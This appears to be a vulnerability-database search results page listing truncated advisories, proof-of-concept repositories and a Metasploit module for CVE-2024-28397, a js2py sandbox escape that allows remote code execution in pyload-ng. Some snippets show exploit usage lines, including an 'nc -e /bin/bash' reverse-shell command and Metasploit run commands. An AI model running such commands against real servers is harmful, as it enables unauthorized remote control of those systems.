22 matches found
Remote-Code-Execution-CVE-2024-28397-pyload-ng-js2py-
リモートコード実行 – CVE-2024-28397 pyload-ng / js2py このリポジトリには、js2py の安全でない使用に起因し pyload-ng に影響を与えるリモートコード実行脆弱性 CVE-2024-28397 の Proof-of-Concept PoC エクスプロイトが含まれています。 免責事項: この PoC は教育および研究目的のみ で使用してください。 所有していないシステム、またはテストする明示的な許可を得ていないシステムでは使用しないでください。 作者は、このコードの誤用について一切責任を負いません 。 脆弱性の詳細 CVE ID:...
CVE-2024-28397-Js2Py-RCE
CVE-2024-28397 - Js2Py サンドボックスエスケープペイロードジェネレーター このスクリプトは、Python内部がオブジェクトラッパーを通じて露出している脆弱な環境で、Js2Pyによって評価可能なJavaScriptペイロードを生成します。 使い方 基本的なコマンド実行: root@kitploit: python3 cve-2024-28397.py -c "id" コンパクトな1行ペイロードを生成: root@kitploit: python3 cve-2024-28397.py -c "whoami" --compact Base64を使ったリバースシェル...
js2py-Sandbox-Escape-CVE-2024-28397-RCE
CVE-2024-28397 js2py 샌드박스 탈출 익스플로잇 js2py 샌드박스 탈출 취약점CVE-2024-28397을 대상으로 하는 익스플로잇 스크립트 모음입니다. 이 취약점은 Python 객체 내부 조사를 통해 임의 코드 실행을 허용합니다. 🔍 취약점 개요 js2py 라이브러리에는 JavaScript의 Object.getOwnPropertyNames 메서드를 통해 내부 Python 객체에 접근하여 공격자가 임의의 Python 코드를 실행할 수 있는 치명적인 샌드박스 탈출 취약점이 있습니다. 기술적 세부 사항 CVE 식별자...
Js2Py 0.74 - RCE
Exploit Title: Js2Py 0.74 - RCE Date: 2026-02-03 Exploit Author: Ali Sünbül xeloxa Author Page: https://github.com/xeloxa Vendor Homepage: https://github.com/PiotrDabkowski/Js2Py Software Link: https://pypi.org/project/Js2Py/ Version: payload.js python3 exploit.py -c "nc -e /bin/bash 10.10.10.10...
📄 js2py 0.74 Automated Sandbox Escape / Code Execution
js2py version 0.74 automated sandbox escape and remote code execution exploit with a reverse shell. ============================================================================================================================================= | Title : js2py v0.74 Automated Sandbox Escape & Revers...
Exploit for CVE-2024-28397
🚨 Remote Code Execution – CVE-2024-28397 pyload-ng / js2py...
Linux Distros Unpatched Vulnerability : CVE-2024-28397
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An issue in the component js2py.disablepyimport of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call. CVE-2024-28397 Note that...
Exploit for CVE-2024-28397
CVE-2024-28397-command-execution-poc This vulnerability arises...
Pyload Remote Code Execution Exploit
CVE-2024-28397 is a sandbox escape in js2py versions 0.74 and below. js2py is a popular python package that can evaluate javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference to a python object in the js2py environment enabling them to escape...
Pyload Remote Code Execution
This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'rex/stopwatch' class MetasploitModule 'Pyload RCE CVE-2024-39205 with js2py sandbox escape CVE-2024-28397', 'Description' = %q CVE-2024-28397 is sandbox escape ...
Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)
CVE-2024-28397 is sandbox escape in js2py use exploit/linux/http/pyload/js2pycve202439205 msf undefinedjs2pycve202439205 show actions ...actions... msf undefinedjs2pycve202439205 set ACTION msf undefinedjs2pycve202439205 show options ...show and set options... msf undefinedjs2pycve202439205 run...
GHSA-R9PP-R4XF-597R pyload-ng vulnerable to RCE with js2py sandbox escape
Summary Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. Details js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the...
pyload-ng vulnerable to RCE with js2py sandbox escape
Summary Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. Details js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the...
openSUSE Security Advisory (SUSE-SU-2024:2272-1)
The remote host is missing an update for the SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
Mageia: Security Advisory (MGASA-2024-0256)
The remote host is missing an update for the SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
openSUSE 15 Security Update : python-Js2Py (SUSE-SU-2024:2272-1)
The remote openSUSE 15 host has a package installed that is affected by a vulnerability as referenced in the SUSE- SU-2024:2272-1 advisory. - CVE-2024-28397: Fixed a potential sandbox escape via untrusted JavaScript code bsc1226660. Tenable has extracted the preceding description block directly...
SUSE-SU-2024:2272-1 Security update for python-Js2Py
This update for python-Js2Py fixes the following issues: - CVE-2024-28397: Fixed a potential sandbox escape via untrusted JavaScript code bsc1226660...
Exploit for CVE-2024-28397
Perkenalan 中文 js2py is a popular python...
